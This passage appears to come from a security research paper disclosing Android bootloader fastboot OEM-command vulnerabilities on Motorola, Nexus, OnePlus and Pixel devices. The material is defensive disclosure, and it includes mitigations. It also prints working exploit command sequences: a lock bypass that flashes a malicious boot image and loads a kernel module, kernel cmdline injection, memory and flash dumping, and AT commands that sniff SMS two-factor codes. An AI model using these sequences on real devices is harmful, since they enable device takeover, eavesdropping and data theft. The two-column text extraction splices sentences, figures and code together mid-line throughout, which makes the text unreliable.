(bootloader) iswarrantyvoid: yes write_protect_partition((int)"oem");
(bootloader) mot_sst: 2 LABEL_13:
write_protect_utags();
$ fastboot oem config fsg-id "a initrd=0x11000000,1519997" write_protect_partition((int)"sp");
$ fastboot flash foo initroot.cpio.gz [...]
$ fastboot continue
$ adb shell
shamu:/ # echo 0 > /dev/block/platform/msm_sdcc.1/by-name/sp
shamu:/ # reboot bootloader

$ fastboot getvar all

...
(bootloader) unlocked: yes Figure 20: Recovery mode Lack of write-protection
(bootloader) securestate: unlocked
(bootloader) iswarrantyvoid: yes
(bootloader) mot_sst: 3
continue), he can load the recovery OS, again, with the
malicious initramfs injected into memory. Since the
recovery OS needs write access on the system partition,
the bootloader does not enable write-protection when
Figure 19: Unlocking a re-locked Nexus 6 from Platform booting into the recovery mode (see Figure 20). Then,
OS the attacker can simply mount the system partition, and
modify files. Tampering with the system partition can
be detected by dm-verity, but sadly the fstab file un-
Platform OS. (2) User re-locks the device. Bootloader der the Moto G4 boot image (and others), and in con-
writes an entry under the sp partition, with an HMAC trast to the G5 one, does not specify the verify attribute
produced by TEE. (3) User unlocks the device. Boot- over the system partition. Controlling the system parti-
loader removes that entry. tion allows the attacker to do much havoc. For example,
Conclusion: An unrestricted root can unlock the de- the attacker now owns the Android runtime, can replace
vice by invalidating the sp partition. See Figure 19. apps with malicious ones, can sideload privileged apps,
and more.
(1)
start FL UL
Spacious Kernel Command-line injection from Plat-
(2) (3) form OS Before we created the very concise (29-
30 bytes) second-stage exploit, we had assumed we
wouldn’t be able to fit it in the fsg-id UTAG. For ex-
RL ample, we incorrectly asserted we would need to pro-
vide the rw and init= arguments. We soon realized
Figure 18: Nexus 6 Device-Locking State Machine that by using INITROOT as a first-stage exploit, we could
cause ABOOT to inject another string into the ker-
nel command-line, which is much more spacious (256
bytes, although constrained by the kernel cmdline max
Modifying the system partition (Moto G4 and others) size). Interestingly, on our Motorola devices there is one
Due to secure boot, modifying the boot and recovery UTAG, named cmdl, which acts as a kernel command-
partitions on recent Motorola devices (such as G4 & line overlay (there are probably more UTAGs that prop-
G5) will cause the boot process to end in the fastboot agate to the kernel command-line). While very appeal-
mode. In order to achieve persistent code execution, ing, unfortunately this UTAG cannot be controlled from
the attacker, however, can modify the system partition. fastboot on production devices. Despite that, as ex-
Such a modification, however, is expected to both be pre- plained above, using the unrestricted root we gain, we
vented and detected by security controls. First, write- can write on arbitrary block devices. It turns out that the
protection is enabled on the system partition (and oth- UTAGs reside under the utags partition. See Figure 21
ers) by ABOOT during boot. Unfortunately this can for our injected cmdl UTAG, which is later consumed by
be circumvented by the attacker by exploiting INIT- ABOOT. It’s fairly reasonable to assume that any cmdl
ROOT slightly different – instead of instructing the boot- injected payload will survive future updates (unless Mo-
loader to load the platform OS (by issuing fastboot torola decides to clean/remove it).
04c0 6320656667683d6a 6b6c0000636d646c c efgh=jkl..cmdl // ’oem 4F500301’ handler
04d0 3a73747200000000 0000000000000000 :str............ int sub_918427F0()
04e0 0000000000000000 000000000000003b ...............; {
04f0 0000000000000000 666f6f313d626172 ........foo1=bar magicFlag = 1;
0500 3120666f6f323d62 61723220666f6f33 1 foo2=bar2 foo3 [...]
0510 3d6261723320666f 6f343d6261723420 =bar3 foo4=bar4 return sendOK((int)"", dword_9198D804);
0520 666f6f353d626172 3520202020202020 foo5=bar5 }
0530 20200000736b753a 7374720000000000 ..sku:str.....

Figure 22: OxygenOS < 4.0.2 ABOOT oem 4F500301

Figure 21: Injecting Kernel cmdline into the utags par- handler
tition
// ’flash’ handler
const char *__fastcall sub_91847EEC(char *partitionName, int
Firmware Injection Having full control over rootfs, *a2, int a3)
we can also create a malicious /vendor folder, which {
char *pname; // r5@1
normally contains firmware images of various SoCs [...]
available on the board. Kernel drivers usually consume if ( (result || magicFlag)
&& (([...] || magicFlag) )
these images upon their initialization, and update their {
SoC counterparts if needed. Hence, the attacker could result = (const char *)sub_918428F0(pname, v10);
if ( !result || magicFlag )
flash unsigned firmware images. We haven’t verified if goto LABEL_7;
there are such, but projecting from other devices, there [...]
LABEL_7:
are. As for signed ones, downgrade attacks could be pos- [...]
sible as well. In addition, the modem firmware resides if ( *v4 != 0xED26FF3A )
{
under /firmware/image, which we could also alter and if ( *v4 == 0xCE1AD63C )
theoretically conduct similar attacks. Again, we haven’t cmd_flash_meta_img(pname, (unsigned int)v4, v5);
else
verified what kind of integrity checks exist nor if it is vul- cmd_flash_mmc_img(pname, (int)v4, v5);
nerable to downgrade attacks, leaving it aside for future goto LABEL_10;
}
research. v7 = v4;
}
cmd_flash_mmc_sparse_img(pname, (int)v7, v5);
[...]
7.2 OnePlus 3/3T Bootloader Locking & }
Verified Boot Bypasses
In this section we describe a couple of vulnerabilities that Figure 23: OxygenOS < 4.0.2 ABOOT flash handler
allow attackers to effectively unlock (CVE-2017-5626) (simplified)
and bypass verified boot (CVE-2017-5624) in OnePlus
3/3T devices.
magicFlag overrides the lock state of the device in sev-
eral checks – when flashing or erasing a partition – a
7.2.1 Vulnerabilities bootloader locking bypass.
OnePlus 3 & 3T had two proprietary fastboot OEM com-
mands: (1) 4F500301 – bypasses the bootloader’s lock
– allowing one with fastboot access to effectively unlock
the device, disregarding OEM Unlocking, without user Furthermore, CVE-2017-5624 allows attackers to
confirmation and without erasure of the userdata par- persistently make a OnePlus 3/3T bootloader start
tition (which normally occurs after lock-state changes as the platform with dm-verity disabled, by issuing
per [4]) . Moreover, the device still reports it’s locked af- the fastboot oem disable dm verity com-
ter running this command. (2) 4F500302 – resets var- mand. Once the attacker issues that command,
ious bootloader settings. For example, it will re-lock an the bootloader will load the Linux kernel with
unlocked bootloader without user confirmation, again, in the androidboot.enable dm verity=0 kernel
contrast to the specification. command-line argument, which eventually propagates
Analyzing the OnePlus 3/3T ABOOT binaries shows to the ro.boot.enable dm verity system property.
that the routine (Figure 22) which handles the 4F500301 The former later instructs OnePlus’s init to disable
command is pretty straightforward – it sets some global dm-verity. Having dm-verity disabled, the kernel
flag (which we coined magicFlag). By further analy- will not verify the system partition (and any other
sis of the procedures which handle the flash (Figure dm-verity protected partition) – a Verified Boot
23) and erase fastboot commands, we can clearly see bypass.
$ fastboot flash boot evilboot.img 7.3 Other Discovered OS Integrity Issues
[...]
FAILED (remote: Partition flashing is not allowed) SELinux Security Bypass in OnePlus 3/3T Simi-
finished. total time: 0.358s
larly to the OnePlus dm-verity issue, the attacker
$ fastboot oem 4F500301 can put the platform’s SELinux in permissive mode
$ fastboot flash boot evilboot.img
[...] (CVE-2017-5554), which severely weakens it, by is-
OKAY [ 0.135s] suing fastboot oem selinux permissive. The in-
finished. total time: 0.480s
teraction between the bootloader and the Linux kernel
$ fastboot continue is through the androidboot.selinux argument in the
$ adb push evil.ko /data/local/tmp
$ adb shell kernel command-line, which is parsed by init.
OnePlus3:/ # id
uid=0(root) gid=0(root) groups=0(root),[...] context=u:r:su: Kernel Cmdline Injection is not Moto only A
s0
OnePlus3:/ # getenforce known vulnerability in Amazon Fire (ford)4 allowed
Permissive for kernel command-line injection through the oem
OnePlus3:/data/local/tmp # insmod ./evil.ko
OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM" append-cmdline command. Running ABOOTOOL over
[19700121_21:09:58.970409]@3 Hello From Evil LKM our devices has revealed that ABOOT of one of them has
that command enable as well, where another one has it
Figure 24: unrestricted root shell & Kernel code execu- implemented albeit restricted on locked bootloaders.
tion on OnePlus 3/3T
Unlocking without User Interaction in Nexus 6P By
issuing oem unlock-go while OEM Unlocking is en-
7.2.2 Exploitation abled, bootloader unlocking will occur, without user con-
Despite CVE-2017-5624, by exploiting firmation (ANDROID-34622855) in contrast to [4].
CVE-2017-5626 alone, the attacker, for example,
can flash a malicious boot image (which contains both 8 Data Exfiltration
the Linux kernel & initramfs), in order to practi-
cally own the platform. While the bootloader detects In this section we present a series of vulnerabilities that
such an event, OnePlus 3 & 3T allow booting in the impact the device owner’s confidentiality, allowing for
’red’ verifiedboot state [4], albeit with a 5 second extraction of both volatile and non-volatile memory.
auto-dismissing warning. Another option which will not
trigger this warning is a downgrade attack – flashing
an old signed image that may contain known security RAM dumping A vulnerability (tagged as
vulnerabilities. The OnePlus 3/3T kernel seems to be ALEPH-2016000) in the Nexus 5X ABOOT allowed
compiled with Linux Kernel Modules (LKM) enabled, attackers to force a kernel panic in ABOOT by issuing
so running kernel code does not even require patching the fastboot oem panic command (see Figure 25).
/ recompiling the kernel. Figure 24 shows a successful The problem is that in the vulnerable versions of the
exploitation attempt. bootloader, such a crash caused the bootloader to expose
Adding CVE-2017-5624 to the equation, the at- a serial-over-USB interface, identified as Qualcomm
tacker can flash and successfully load a tampered HS-USB 900E. Code implemented by the SBL, allowed
system image, without any warning. Similarly to fetching a full memory dump of the device, via that inter-
the Moto G case, the attacker now owns the An- face. In order to prove the severity of the vulnerability,
droid runtime, can replace apps with malicious ones, we have set the device password to ’buggybootload3r’
can sideload privileged app (by placing APKs under and then searched it on the fetched memory dump – it
/system/priv-app/<APK DIR> which will eventu- was indeed found (Figure 26).
ally cause them to be added to the priv app domain),
and more. eMMC dumping Extraction of eMMC data through
More severely, combining these vulnerabilities with fastboot may enable offline attacks, in addition to other
CVE-2017-5622 (Section 4), allows malicious charg- vulnerabilities (e.g. the one above) that can be used in
ers to easily take over OnePlus 3/3T devices. The only order to leak the AES master key from memory5 . One
requirement for them is to be connected while being notable vulnerability is CVE-2016-8462 [17] where a
powered-off. (Otherwise the charger can just wait until 4 https://forum.xda-developers.com/amazon-fire/orig-
the battery has drained out.) development/root-t3272362
5 https://android.googlesource.com/platform/system/vold/+/android-

7.1.1 r38/cryptfs.c
[38870] fastboot: oem panic >> preimage.py board_info
[38870] panic (frame 0xf9b1768): > fastboot oem sha1sum board_info 0 1 =
[38870] r0 0x0f9972c4 r1 0x4e225c22 7cf184f4c67ad58283ecb19349720b0cae756829 (1 byte )
r2 0x7541206f r3 0x74206874 00000000 : 48 H
[38870] r4 0x0f9972e8 r5 0x0f96715c > fastboot oem sha1sum board_info 1 1 =
r6 0x0f9972f0 r7 0x0f9670ec c2c53d66948214258a26ca9ca845d7ac0c17f8e7 (1 byte )
[38870] r8 0x0f92e070 r9 0x00000000 00000001 : 54 T
r10 0x00000000 r11 0x00000000 > fastboot oem sha1sum board_info 2 2 =
[38870] r12 0x0f92e070 usp 0x0f9650ec f1dfdb58024fd801bb8d8d91b16183f255579149 (2 bytes )
ulr 0x00000000 pc 0x0f99c75c 00000002 : 43 C
[38870] spsr 0x0f936964 00000003 : 2d -
[38870] fiq r13 0x0f989490 r14 0x00000000 > fastboot oem sha1sum board_info 3 3 =
[38870] irq r13 0x0f989490 r14 0x0f9004f4 16ad0e2f78e56b3d6dc93bd203e12b8118605de5 (3 bytes )
[38870] svc r13 0x0f9b16f0 r14 0x0f92dd0c 00000004 : 42 B
[38870] und r13 0x0f989490 r14 0x00000000 00000005 : 4f O
[38870] sys r13 0x00000000 r14 0x00000000 > fastboot oem sha1sum board_info 4 4 =
[38880] panic (caller 0xf936964): generate test-panic 7e426c6d5f7b5ce99624a8e678a79828180bcd77 (4 bytes )
00000006 : 41 A
00000007 : 52 R
>> preimage.py board_info 4 158
Figure 25: ABOOT forced-panic on Nexus 5X > fastboot oem sha1sum board_info 158 158 =
45b1b0a4fe2bbefb1f7eb001b57bcb61a1d025b9 (158 bytes )
0000009e : a2
2675d0d0: .......3 .y....w. 0000009f : 80
2675d0e0: ......n. ........ 000000a0 : 00
2675d0f0: .ph..... ....bugg 000000a1 : 00
2675d100: ybootloa d3r.bugg

Figure 27: Leaking bytes out of Pixel Flash

Figure 26: Exfiltrated device password in Nexus 5X
Memory dump
> fastboot oem dump userdata
[...]
(bootloader) Dump partition: userdata
command existed in the Google Pixel bootloader which (bootloader) C0C7A7D7DFE7BA0214A21F336631...
(bootloader) 3B19C068DEED8C7D333037AB6B77...
returned the SHA-1 of data with a given size and off- (bootloader) E793F5692B86E95D4D697FA98966...
set, at a specified partition: fastboot oem sha1sum (bootloader) 9EFFB47DFC976857BDE7D388A0DC...
(bootloader) 239E3D9829DFC8627A0F19D8D73F...
<partition> <offset> <size>. With this com- (bootloader) B78A8C51D338385A853E4E2A3DBA...
mand, the adversary can easily compute the preimage of [...]

the first bytes of any partition, which may allow exfil-

trating sensitive information out of the device. In addi- Figure 28: Leaking bytes out of OnePlus 3/3T Flash
tion to the first bytes, one can conduct a preimage at-
tack against higher offsets if a specific pattern is (ap-
proximately) known, such as a known suffix or a pre- gument (with a default value of ‘normal’). The lat-
fix. See Figure 27 which shows two runs of our PoC ter propagates to the ro.bootmode system property.
exploit6 against the board info partition. The first run Then, init scripts can then take this input and cus-
leaks bytes 0-7 (HTC-BOAR) where the second leaks bytes tomize the platform initialization. Another example is
158-161 (“\xA2\x80\x00\x00”). UsbDeviceManager, that maps between the (bootmode,
Another interesting vulnerability (CVE-2017-5625) current USB configuration) and (new USB configura-
in the OnePlus 3/3T bootloader allowed for eMMC tion). The new USB configuration is then saved under
dumping, this time without any preimage computations. the sys.usb.config system property which triggers an
Through fastboot oem dump <partition> the ad- on property init event that may enable additional USB
versary could partially dump (only the first bytes are interfaces . This implies that the attacker, capable of
printed, and then it goes in a loop) the contents of any changing androidboot.mode may gain extra capabil-
partition except keystore (Figure 28). ities if a safe USB configuration can now be overridden
with an unsafe one. Indeed, in many devices (including
Motorola ones, Nexus 6P & OnePlus), the original con-
9 Hidden Functionality figurations are overridden with some more capable ones.
Devices often ship with engineering code that is neu- In Nexus 6, for example, the added new interfaces
tralized in production, regularly implemented through are: (1) diag: provides diagnostics access to the Snap-
different boot modes, specified by the bootloader un- dragon 805 SoC (APQ8048). We did not manage to con-
der the androidboot.mode kernel command-line ar- duct any attack by accessing this interface, although fur-
ther research may prove otherwise. (2) diag mdm: Pro-
6 https://github.com/roeeh/PoC/tree/master/CVE-2016-8462 vides diagnostics access to the to the modem (MDM9x25)
 Motorola config bootmode {bp-tools/factory} Exploitation In this section the Motorola device we
Motorola bp-tools-on verified the exploitation on is Nexus 6 – other Moto de-
Nexus 6P enable-{bp-tools/hw-factory} vices could be exploitable to some degree as well. As for
OnePlus 3/3T boot mode {rf/wlan/ftm/normal} Nexus 6, the attacker can access the modem diagnostics
diag mdm interface. Accessing that interface allows the
Figure 29: Boot Mode changing OEM commands adversary to practically own the modem. We success-
fully managed to (1) Intercept phone calls. In our test
environment, those were UMTS RX/TX vocoder frames
(3) serial hsic. Serial access to the device’s mo- with AMR 12.2 encoded audio [19]. We then assembled
dem’s AT interface. (4) serial tty: Access to a them into an AMR File [20]. The result waveform is de-
NMEA interface. This interface should provide GPS picted on Figure 30. (2) Sniff data packets (Figure 31).
data. (5) rmnet hsic: Access to the RmNet inter- (3) Find the exact GPS coordinates with detailed satellite
face. (6) usbnet: A USB interface which identifies information. (4) Get call information. (5) Initiate phone
as “Motorola Test Command”. As for Nexus 6P, we calls. (6) Access / Change modem NV items. (7) Access
have: (1) diag: provides diagnostics access to the mo- / Change the EFS.
dem. Port identified as MSM8994. Enabling this inter- As for both Nexus 6 & Nexus 6P, the attacker has AT
face has no security impact, at least on our Nexus 6P access to the modem which allows him to steal sensi-
test devices, because accessing the diagnostics data re- tive information such seeing incoming call numbers. In
quired flashing a custom radio image. (2) serial smd: addition, the attacker can retrieve the Physical Cell ID
Serial access to the device’s modem’s AT interface. (3) (PCI) and signal level. The attacker can also transpar-
adb: Enables the Android Debug Bridge. This added in- ently read and send SMS messages on behalf of the vic-
terface is problematic since it dishonors the Enable USB tim. See Figure 32, which depicts SMS sniffing via the
debugging checkbox under the Developer Settings menu, AT interface on Nexus 6P, allowing the attacker to bypass
allowing the device to accept ADB connections from pre- two-factor authentication. The attacker can make the de-
viously authorized USB hosts. (4) rmnet ipa: Provides vice accept or place phone calls. Moreover, the attacker
access to the RmNet interface. (5) manufacture: In- can permanently change various radio settings, such as
cludes all of the above interfaces in addition to a mass- disabling the circuit- or packet-switched services (with
storage device interface, which seems to have no security AT^SYSCONFIG), making the device unable to place/re-
impact. ceive phone calls or data. Unfortunately, these changes
survive Android Factory Resets. In addition, the at-
tacker can downgrade the network connection to older
protocols. Additional AT commands with security im-
Vulnerabilities The only remaining question is how pact are given by Figure 33. The enabled AT interface
the adversary changes androidboot.mode. It turns out also unnecessarily increases the attack surface of the vic-
that under the Motorola and Nexus 6P devices’ fastboot tim’s device (Nexus 6 has 372 AT commands returned by
UI , two proprietary menu items exist. These menu items AT$QCCLAC, while Nexus 6P has 316 commands).
instruct, even on locked bootloaders (of the vulnerable On Nexus 6, we also discovered an uninitialized 4-
version), to change the androidboot.mode argument to 5 bytes leak in the Motorola proprietary usbnet driver
either bp-tools or hw/mot-factory. Interestingly the (CVE-2016-6678 [21]), that allowed the attacker, by in-
ability to change the boot mode via the fastboot UI has ducing the device to send packets over the USB wire, to
long been known within the developers community, how- receive the leaked bytes. That can be done by sending
ever its security impact seems to have been overlooked. UDP packets to closed UDP ports that would cause the
The situation is more severe, because the adversary can other end to transmit ICMP port unreachable replies.
persistently change the boot mode in vulnerable versions Interestingly on OnePlus 3/3T, beyond the intended
of the bootloaders, even on OnePlus 3/3T devices, by is- functionality of the special boot modes (which we did not
suing one of the fastboot commands listed on Figure 29 investigate), the bootloader loads the platform in an inse-
(CVE-2016-8467/2017-5623). It should be noted that cure configuration. While the platform is unusable when
while the relevant commands also exist on our Moto G4 booting with one of the special boot modes (some static
/ G5 devices, only selecting the boot mode on the UI has image is displayed), we noticed that adb was enabled,
any effect (i.e. the fastboot commands do not change the lacking host-authorization. That allowed for arbitrary
boot mode). Despite that, we suspect it had used to work code execution as the shell user. Moreover, SELinux
in older versions of the Motorola bootloader on Moto de- ran in permissive mode, which allowed for even fur-
vices, and was disabled as per our Nexus 6 disclosure to ther exploitation. For example, we managed to change
Android Security. the USB configuration (which cannot be done without
 ATI
Manufacturer: QUALCOMM INCORPORATED
Model: 4097
Revision: angler-03.78 1 [Oct 20 2016 10:00:00]
SVN: 78
IMEI:
+GCAP: +CGSM

OK
Figure 30: Intercepted UMTS RX by abusing the Nexus AT+CMGF=2
6 modem diagnostics OK
AT+CNMI=1,2,0,0,0
OK

+CMT : "+447[...]",,"16/12/26,16:56:18+08"
Please use the code - 185098 to verify your phone for [...]
two-factor authentication.

Figure 32: SMS sniffing via AT commands on Nexus 6P

AT Desc N6 N6P

+CLCC Show current call X X

+VZWRSRP/Q Get Physical Cell ID, RSRP X
and RSRQ
+CMGS Send SMS X X
+CNMI=1,2,0,0,0 Sniff SMS X X
+CFUN=6 Reboot the device X
SYSCONFIG=13,0,2,4 Downgrade to GSM X X
SYSCONFIG=2,0,2,0 Circuit-switching Only X X
SYSCONFIG=2,0,2,1 Packet-switching Only X X

Figure 31: LTE Data sniffing through the Nexus 6 mo- Figure 33: Various AT commands with security impact
dem diagnostics

i2cwNoAddr, i2cdetect}. That gave attackers

ADB access and without permissive SELinux), see Fig- an opportunity to leak sensitive information out of
ure 34, so that extra USB interfaces became enabled (e.g. SoCs, and exploit vulnerabilities found in them.
the modem’s diag and AT interfaces). Although the mo- Combining this vulnerability (CVE-2017-0563) with
dem seemed uninitialized in the OnePlus case, as ex- CVE-2017-0510/0648 (Section 4) allows malicious
plained above, by accessing the modem’s diagnostics we headphones to communicate through I2 C with various
could gain read/write access to the EFS. SoCs found on the board – a very unusual data flow.
SoCs that accept unsigned firmware upgrades over I2 C
10 Attacking SoCs could potentially be exploited. One such a SoC is Cy-
press SAR. This sensor is managed by a driver available
Attackers can go beyond subverting the integrity & con- under drivers/input/touchscreen/cy8c sar.c.
fidentiality of the platform OS, as bootloader vulnera- The driver uses the sensor’s data in order to regulate
bilities may exist which allow targeting peripheral SoCs the radiation level emitted by the device. The sensor
found on the device’s board. In this section we present communicates with the application processor via I2 C bus
two such vulnerabilities, that we found in the HTC Nexus #1. We discovered its firmware updates are also carried
9 bootloader. over that bus: During the platform boot, the driver
samples the SoC’s firmware’s version via chip address

I2 C Access & Potential Firmware Injection I2C is a

common protocol for Inter-SoC communication, which OnePlus3T:/ $ getenforce
is used by many SoCs to pass both data and control mes- Permissive
OnePlus3T:/ $ setprop sys.usb.config diag,acm_smd,acm_tty,
sages. rmnet_bam,mass_storage,adb
We discovered that a set of OEM commands in
Nexus 9 allowed accessing various I2 C buses on the
board: fastboot oem {i2cr, i2cw, i2crNoAddr, Figure 34: Enablement of Sensitive USB interfaces
$ fastboot oem i2cr 1 0xb8 6 1 $ fastboot oem i2cr 0 0xe5 0x10 6
... (bootloader) ret:0
(bootloader) ret:0 (bootloader) > [8] = 1 0 10 28 2 1 0 0 0 0 0 0 0 0 0 0
(bootloader) > [1] = 1f 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 [..]
OKAY [ 0.012s] $ fastboot oem sensorhubflash
finished. total time: 0.013s [...]
$ fastboot oem i2cr 0 0xe5 0x10 6
...
(bootloader) ret:0
Figure 35: Nexus 9: Querying the Cypress SAR SoC (bootloader) > [8] = 1 0 a 13 1 1 0 0 0 0 0 0 0 0 0 0
firmware version with I2 C through fastboot
Figure 36: Nexus 9: SensorHub Downgrade via fastboot
0x5{c,d}, register 0x6. If does not match the one (CVE-2017-0582)
available under /vendor/firmware/sar{0,1}.img, it
initiates with a firmware flashing process (via I2 C chip
address 0x6{0,1}). It seems though that the firmware is By issuing the proprietary fastboot oem command
not signed by Cypress, thus anyone having access to the sensorhubflash, the adversary can downgrade the
I2 C bus, can re-flash the firmware of the SoC. Figure 35 Sensor Hub firmware to an older version, stored under
shows how we query the version of the running firmware the SER partition (/dev/block/mmcblk0p19). This ver-
using I2 C, via fastboot. sion may contain vulnerabilities which can allow the at-
We successfully managed to flash the firmware us- tacker to compromise the MCU. One may claim that it
ing the I2 C character device (/dev/i2c-1). HBOOT’s is not an issue because the platform would immediately
limitation of the number of fastboot I2 C command argu- upgrade the firmware upon boot (since its version is dif-
ments to 16 creates a technical difficulty controlling the ferent from the one found in the vendor image), however,
last bytes of each firmware image line (which also con- in Nexus 9, as mentioned above, the I2 C buses can be ac-
tains the checksum) during the flashing process, however cessed via the fastboot / HBOOT interfaces. Therefore,
further research may show it can be bypassed as well. the attacker can interact with the old firmware before it is
Future work may also indicate that there are other I 2 C replaced by the platform using I2 C, and thus potentially
flashable SoCs. exploit a security vulnerability which would allow him
to return a bogus version identifier, bypassing the plat-
form’s check. Note that the SoC’s I2 C handler code runs
in privileged mode. Figure 36 demonstrates a successful
SensorHub Firmware Downgrade Another SoC that downgrade attack. We first query the firmware version
the Nexus 9 device contains is one manufactured using I2 C, downgrade it using the OEM command, and
by Cywee. This SoC acts as the device’s Sen- re-query its version, proving it has been downgraded.
sor Hub. The SoC is an STM32F401B/C ARM
Cortext-M4 MCU, managed by a driver available un-
der drivers/i2c/chips/CwMcuSensor.c. The plat- 11 Mitigation
form communicates with Sensor Hub via I2 C bus #0
and via 4 GPIO ports. The MCU has two modes: (1) While the aforementioned vulnerabilities have been fixed
Application mode. This is the normal firmware oper- (or patches are underway), new vulnerabilities may
ation, where the MCU provides the sensors’ data via emerge. In general, OEM commands are unnecessary
I2 C (slave address 0x72). (2) Bootloader mode [22]. in production builds. thus we encourage OEMs to re-
This mode allows for firmware management via vari- duce this attack surface by overwhelmingly removing all
ous interfaces, including I2 C (slave address 0x39). The OEM commands from such builds, or by enabling them
MCU switches to the bootloader mode when the boot- only if the bootloader is unlocked. Upstream code (such
loader “activation Pattern 1” is detected [23] (which as the CodeAurora Little Kernel based ABOOT [24])
makes a Firmware Injection attack from ABOOT, sim- should also consider implementing such a coarse restric-
ilar to the potential one depicted above, impossible. tion.
This is because that activation pattern requires con- (Un)locking-related OEM commands (e.g. oem
trol of GPIO ports other than the ones used for I2 C) . {lock, unlock}), which are indeed required in pro-
Upon the platform boot, the CwMcuSensor driver queries duction, can now move to their standardized coun-
the firmware’s version (I2 C register 0x10). If it does terparts (flashing {lock, unlock}). Another par-
not match the one found under the vendor’s partition ticular device-locking related OEM command that
(/vendor/firmware/sensor hub.img), it switches to we do find useful in production builds is the one
the bootloader mode, and upgrades the firmware (again, that retrieves the bootloader unlocking code (e.g.
via I2 C). Please note that the firmware is not signed. Motorola’s oem get unlock data), again its han-
dler can now be moved to standard (non-OEM) [8] Dan Rosenberg. Unlocking the Motorola Bootloader,
get unlock bootloader nonce command, which is 2013. URL http://blog.azimuthsecurity.com/2013/04/
unlocking-motorola-bootloader.html.
supported by the fastboot client since 20157 .
Another layer of defense can be added beyond [9] Flora Liu. Windows Malware Attempts to Infect Android De-
ADB authorization, preventing fastboot access by non- vices, 2014. URL https://www.symantec.com/connect/blogs/
windows-malware-attempts-infect-android-devices.
physical attackers. That can be done by asking for the
user’s consent for every issued command (similarly to [10] Billy Lau, Yeongjin Jang, Chengyu Song, Tielei Wang, Pak Ho
what happens when one unlocks the device). Since this Chung, and Paul Royal. MACTANS: Injecting Malware Into iOS
Devices via Malicious Chargers. In BlackHat USA, 2013.
technique may degrade user experience, another way (al-
beit less-secure) which blocks the reboot attacks would [11] Brian Krebs. Beware of Juice-Jacking, 2011. URL https:
be to only ask for consent (once) if the fastboot mode was //krebsonsecurity.com/2011/08/beware-of-juice-jacking/.
not triggered due to a hardware key combination during [12] David Ruddock. New Android 4.2.2 Feature: USB Debug
boot. This compromise of course has the risk of non- Whitelist Prevents ADB-Savvy Thieves From Stealing Your Data
physical adversaries waiting for the device to enter the (In Some Situations), 2013. URL https://bit.ly/2qyzr7j.
fastboot mode. [13] Michael Ossmann and Kyle Osborn. Multiplexed Wired Attack
Surfaces. In BlackHat US 2013, 2013.

12 Conclusion [14] Roee Hay. Attacking Nexus 9 with Malicious Head-

phones, 2017. URL https://alephsecurity.com/2017/03/08/
In this paper we discussed the Android fastboot inter- nexus9-fiq-debugger/.
face. We demonstrated a tool that can dynamically find [15] TJ. OEM Reboot Codes. URL http://tjworld.net/wiki/android/
available OEM commands, and presented several vulner- htc/vision/bootprocess#OEMRebootCodes.
abilities associated with those commands in a variety of
[16] Paul Bignell. 42: The Answer to Life,
Android device. Some of the vulnerabilities have a wor- the Universe, and Everything, 2011. URL
rying impact – from Device Locking and Secure Boot by- http://www.independent.co.uk/life-style/history/
passes to RAM dumping. We also suggested a few mit- 42-the-answer-to-life-the-universe-and-everything-2205734.
html.
igation techniques, focusing on attack surface reduction,
in order to avoid future vulnerabilities and making their [17] beaups and Jon Sawyer. PixelDump - CVE-2016-8462,
exploitation less-likely. We hope this paper will make 2016. URL https://github.com/CunningLogic/PixelDump
OEMs pay more attention for the possibility of fastboot- CVE-2016-8462.
triggered vulnerabilities. [18] 504ENSICS Labs. LiME Linux Memory Extractor. URL https:
//github.com/504ensicsLabs/LiME.
References [19] AMR Codec in UMTS, 2007. URL http://onlinelibrary.wiley.
com/doi/10.1002/9780470612279.app1/pdf.
[1] Dan Rosenberg. Reflections on Trusting TrustZone. In BlackHat
USA, 2014. [20] AMR File Format. URL http://hackipedia.org/File%20formats/
Containers/AMR,%20Adaptive%20MultiRate/AMR%20format.
[2] Rob Landley. ramfs, rootfs and initramfs, 2005. URL pdf.
https://www.kernel.org/doc/Documentation/filesystems/
ramfs-rootfs-initramfs.txt. [21] Aleph Research. Google Nexus 6 f usbnet Kernel Uninitialized
Memory Leak Over USB. URL https://alephsecurity.com/vulns/
[3] Qualcomm. Secure Boot and Image Authentication, 2016. aleph-2016005.
URL https://www.qualcomm.com/media/documents/files/
secure-boot-and-image-authentication-technical-overview.pdf. [22] ST. STM32 microcontroller system memory boot
mode, 2017. URL http://www.st.com/content/ccc/
[4] Google. Verifying Boot. URL https://source.android.com/ resource/technical/document/application note/b9/9b/16/3a/
security/verifiedboot/verified-boot. 12/1e/40/0c/CD00167594.pdf/files/CD00167594.pdf/jcr:
content/translations/en.CD00167594.pdf.
[5] Gal Beniamini. Exploring Qualcomm’s TrustZone implemen-
tation, 2015. URL http://bits-please.blogspot.co.il/2015/08/ [23] ST. I2C protocol used in the STM32 bootloader, 2017. URL
exploring-qualcomms-trustzone.html. http://www.st.com/content/ccc/resource/technical/document/
application note/4c/68/fe/72/a8/cd/47/83/DM00072315.pdf/
[6] Gal Beniamini. Full TrustZone exploit for files/DM00072315.pdf/jcr:content/translations/en.DM00072315.
MSM8974. URL http://bits-please.blogspot.co.il/2015/08/ pdf.
full-trustzone-exploit-for-msm8974.html.
[24] CodeAurora. (L)ittle (K)ernel based Android boot-
[7] Gal Beniamini. Unlocking the Motorola Bootloader, loader. URL https://www.codeaurora.org/blogs/
2016. URL http://bits-please.blogspot.co.il/2016/02/ little-kernel-based-android-bootloader.
unlocking-motorola-bootloader.html.
7 https://android.googlesource.com/platform/system/core/+/51e8b03